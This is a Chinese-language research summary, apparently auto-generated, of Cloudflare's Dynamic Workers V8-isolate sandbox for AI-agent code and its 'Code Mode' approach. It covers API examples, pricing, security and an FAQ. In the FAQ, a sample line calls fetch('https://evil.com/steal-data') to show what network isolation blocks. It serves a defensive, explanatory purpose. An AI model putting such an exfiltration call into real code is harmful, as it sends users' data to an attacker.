Cloudflare Dynamic Workers 深度研究:AI Agent 沙盒,比容器快 100 倍

> 来源: Sandboxing AI agents, 100x faster

> 作者: Kenton Varda, Sunil Pai, Ketan Gupta(Cloudflare)

> 发布时间: 2026-03-24

> 研究时间: 2026-03-26

🎯 一句话版本

Cloudflare 推出 Dynamic Workers:让 AI Agent 在 V8 isolate(Chrome 同款引擎)里执行代码,启动只要几毫秒(容器要几百毫秒),内存只用几 MB(容器要几百 MB)。每个请求开一个沙盒,用完就扔。还提出了"Code Mode"理念——Agent 不应该一个个调工具,而应该直接写代码调 API,token 用量降 81%。

🏗️ 核心问题:Agent 执行代码需要沙盒

AI Agent 越来越多地需要"写代码然后执行"。但你不能直接 eval() AI 生成的代码——用户可以注入恶意 prompt 让 AI 写出漏洞。

传统方案:容器。问题:

Cloudflare 的方案:V8 Isolate(和 Workers 平台用了 8 年的同一套技术)

容器Dynamic Worker
启动~500ms**~5ms**
内存~500MB**~5MB**
可扩展性有并发限制**百万 req/s**
位置需要找空闲容器同机器同线程
安全硬件 VM 级V8 沙盒 + MPK + Spectre 防护

💻 API 长什么样


// AI 生成的代码
let agentCode = `
  export default {
    async myAgent(param, env, ctx) {
      let history = await env.CHAT_ROOM.getHistory(1000);
      return history.filter(msg => msg.author == "alice");
    }
  }
`;

// 加载 Dynamic Worker
let worker = env.LOADER.load({
  compatibilityDate: "2026-03-01",
  mainModule: "agent.js",
  modules: { "agent.js": agentCode },
  env: { CHAT_ROOM: chatRoomRpcStub },
  globalOutbound: null,  // 完全隔离,无网络访问
});

// 调用
await worker.getEntrypoint().myAgent(param);

就这么简单。每个请求一个沙盒,用完即弃。

🧠 Code Mode:比 Tool Call 更好的范式

这是 Cloudflare 去年 9 月提出的理念,现在和 Dynamic Workers 结合更完整了:

> Agent 不应该一个个调工具(tool call),而应该写代码调 API。

对比:

Tool CallCode Mode
每个操作一次 LLM 推理一次性生成代码批量调用
Token 用量高(每步都回 LLM)**低 81%**
中间结果全部进 context window只返回最终结果
灵活性受工具定义限制完整编程能力

用 OpenClaw 场景举例:Tool Call vs Code Mode

你说:"帮我查一下明天的日程,如果有空就帮我约一个和 Alice 的会议"

传统 Tool Call(现在的做法)——4 轮 LLM 推理


→ LLM 推理 #1:我应该先查日程
  → 调用 calendar.list(等待返回)
→ LLM 推理 #2:看到明天下午 2-4 点有空
  → 调用 calendar.freebusy(检查 Alice)
→ LLM 推理 #3:Alice 也有空
  → 调用 calendar.create(创建会议)
→ LLM 推理 #4:会议已创建,告诉用户

每步回 LLM,每次把之前结果塞进 context window。4 次推理,大量 token。

Code Mode——1 次 LLM 推理,直接写一段代码:


async function run(env) {
  const myEvents = await env.CALENDAR.list("2026-03-28");
  const freeSlots = findFreeSlots(myEvents, "09:00", "18:00");
  const aliceBusy = await env.CALENDAR.freebusy("alice", "2026-03-28");
  const mutualFree = freeSlots.filter(slot => !conflicts(slot, aliceBusy));
  
  if (mutualFree.length > 0) {
    await env.CALENDAR.create({
      title: "和 Alice 的会议",
      start: mutualFree[0].start,
      end: mutualFree[0].end,
    });
    return `已约好:${mutualFree[0].start}`;
  }
  return "明天和 Alice 没有共同空闲时间";
}

代码在 Dynamic Worker 沙盒里执行,只返回最终结果

Tool CallCode Mode
LLM 推理次数**4 次****1 次**
Token 消耗每步累加只有代码 + 结果
延迟4 次 LLM + 4 次 API1 次 LLM + 1 次执行
费用(Claude Opus)~$0.10~$0.02

本质区别:Tool Call 是"每走一步问一次路",Code Mode 是"一次性规划好路线然后执行"。Dynamic Worker 就是那个安全执行代码的沙盒——AI 写的代码碰不到你的服务器、碰不到密钥,只能用你明确给它的 API。

TypeScript > OpenAPI

给 Agent 描述 API 时,TypeScript 接口比 OpenAPI 简洁太多:

TypeScript(几行)


interface ChatRoom {
  getHistory(limit: number): Promise<Message[]>;
  subscribe(callback: (msg: Message) => void): Promise<Disposable>;
  post(text: string): Promise<void>;
}

等价 OpenAPI(几十行 YAML)——完整版在原文里,需要滚动才看得完。

Cloudflare MCP Server 就是用 Code Mode 构建的:2 个 tool + 不到 1000 tokens 暴露整个 Cloudflare API。

❓ FAQ

Worker 有文件系统吗?

没有。 Worker 和 Docker 容器完全不同:

Docker 容器Cloudflare Worker
文件系统✅ 完整 Linux FS❌ 没有
磁盘读写✅ 随便❌ 不行
二进制执行✅ 任意程序❌ 只有 JS/Wasm
系统调用✅ 完整❌ 极度受限

Worker 本质上就是一个 V8 JS 引擎实例——和浏览器标签页一样,没有磁盘、没有操作系统。

Cloudflare 的替代方案:

如果 Agent 需要真正的文件系统(git clone → 改代码 → 跑测试),还是得用容器。

`env` 是什么?

env环境绑定对象——你给沙盒里的 Agent 开的"白名单权限"。


// 宿主决定给 Agent 什么权限
let worker = env.LOADER.load({
  modules: { "agent.js": agentCode },
  env: {
    CHAT_ROOM: chatRoomRpcStub,  // 只给聊天室 API
    // DB: d1Database,            // 不给数据库
  },
  globalOutbound: null,           // 断网
});

Agent 代码里:


async myAgent(param, env, ctx) {
  // ✅ 能用——宿主给了 CHAT_ROOM
  await env.CHAT_ROOM.getHistory(100);
  
  // ❌ 不存在——宿主没给 DB
  await env.DB.query("SELECT * FROM users");
  
  // ❌ 不行——globalOutbound: null,断网了
  await fetch("https://evil.com/steal-data");
}

关键安全设计

🔒 安全

V8 isolate 的安全 bug 比硬件 VM 多,但 Cloudflare 有 8 年的防护积累:

📦 辅助库

用途
[`@cloudflare/codemode`](https://www.npmjs.com/package/@cloudflare/codemode)Code Mode SDK:把 MCP Server 转成代码执行
[`@cloudflare/worker-bundler`](https://www.npmjs.com/package/@cloudflare/worker-bundler)NPM 依赖解析 + esbuild 打包
[`@cloudflare/shell`](https://www.npmjs.com/package/@cloudflare/shell)虚拟文件系统(SQLite + R2 存储,事务性写入)

💰 定价

项目费用
每个 unique Worker/天**$0.002**(Beta 期免费)
CPU 时间标准 Workers 定价
调用费标准 Workers 定价

对于"Code Mode"用例(每个 Worker 是一次性的),每次代码执行 $0.002——相比 AI 推理费用几乎可以忽略。

💡 与我们的关联

1. temp.jaylab.io 就跑在 Cloudflare Workers/Pages 上 ⭐

我们的网站用的就是 Cloudflare 基础设施。Dynamic Workers 可以让我们在网站上加交互功能——比如让访客直接和 AI 对话,代码在 Dynamic Worker 里安全执行。

2. Code Mode 对 OpenClaw 的启示

OpenClaw 目前是 tool call 模式(Agent 调用工具,每个工具一次推理)。Code Mode 的理念是:让 Agent 写一段代码一次性完成多个操作

好处:

这和 Junyang Lin 说的"Agentic Thinking"呼应——Agent 应该有更强的执行能力,不只是一步一步调工具。

3. Agent 沙盒化执行

如果未来 OpenClaw 让 Agent 自己写脚本执行任务,需要沙盒。Dynamic Worker 是轻量级选择(vs Docker/Firecracker)。

4. 凭证注入模式

> Agent 发 HTTP 请求时,你在请求出站时注入认证凭证。Agent 永远不碰密钥,也就不可能泄露。

这是比"把 API Key 放在 prompt 里"更安全的做法。OpenClaw 的工具系统可以借鉴。

🤔 Code Mode vs Agentic Training:相反吗?

看起来有张力:Agentic Training(OpenClaw-RL / Junyang Lin)说"训练 Agent 多步交互越来越强",Code Mode 说"一次写代码搞定,少调 LLM"——方向相反?

不是。解决的是不同层面的问题,而且互补。

方向目标类比
**Agentic Training**让模型本身变强(更好的规划、工具使用、从反馈学习)培训一个程序员
**Code Mode**改变执行架构,减少对多步推理的依赖给程序员一个 IDE + 编译器

不同场景各有优势

场景更适合
简单任务(查日程+约会议)Code Mode——一段代码搞定
复杂任务(需要中间判断、修正方向)Agentic——模型需要"想一步走一步"
**最强组合**RL 训练后的模型 + Code Mode 执行

最强组合的逻辑

1. RL 训练让模型更懂什么时候该写代码、写什么代码

2. Code Mode 让代码在安全沙盒里高效执行

3. 执行结果反馈回来,又成为 RL 的训练信号

真正和 Agentic Training 对立的是:"不需要训练 Agent,prompt engineering 就够了"——那个才是相反方向。Code Mode 不是。

⚠️ 注意事项

1. 仅 JavaScript/TypeScript:Agent 只能写 JS,不能跑 Python/Bash

2. Cloudflare 锁定:只能在 Cloudflare Workers 平台上用

3. 不能替代容器:需要跑任意二进制/系统调用的场景仍然需要容器

4. Open Beta:功能可能还会变

5. V8 沙盒 vs 硬件 VM:攻击面更大,虽然有多层防护但理论上不如硬件隔离

📊 评分

维度评分(/10)
技术创新9.0 — 把 8 年的 isolate 经验正式产品化给 Agent 用
实用性8.5 — 开箱即用,API 简洁,辅助库齐全
Code Mode 理念9.0 — "Agent 写代码而非调工具"是正确方向
与我们的关联7.5 — 我们已在 CF 上,但当前不需要动态代码执行
行业影响9.0 — VentureBeat/InfoWorld 都报道了,定义了 Agent 沙盒新标准
**综合****8.5**

报告由深度研究助手自动生成 | 2026-03-26

来源: Cloudflare Blog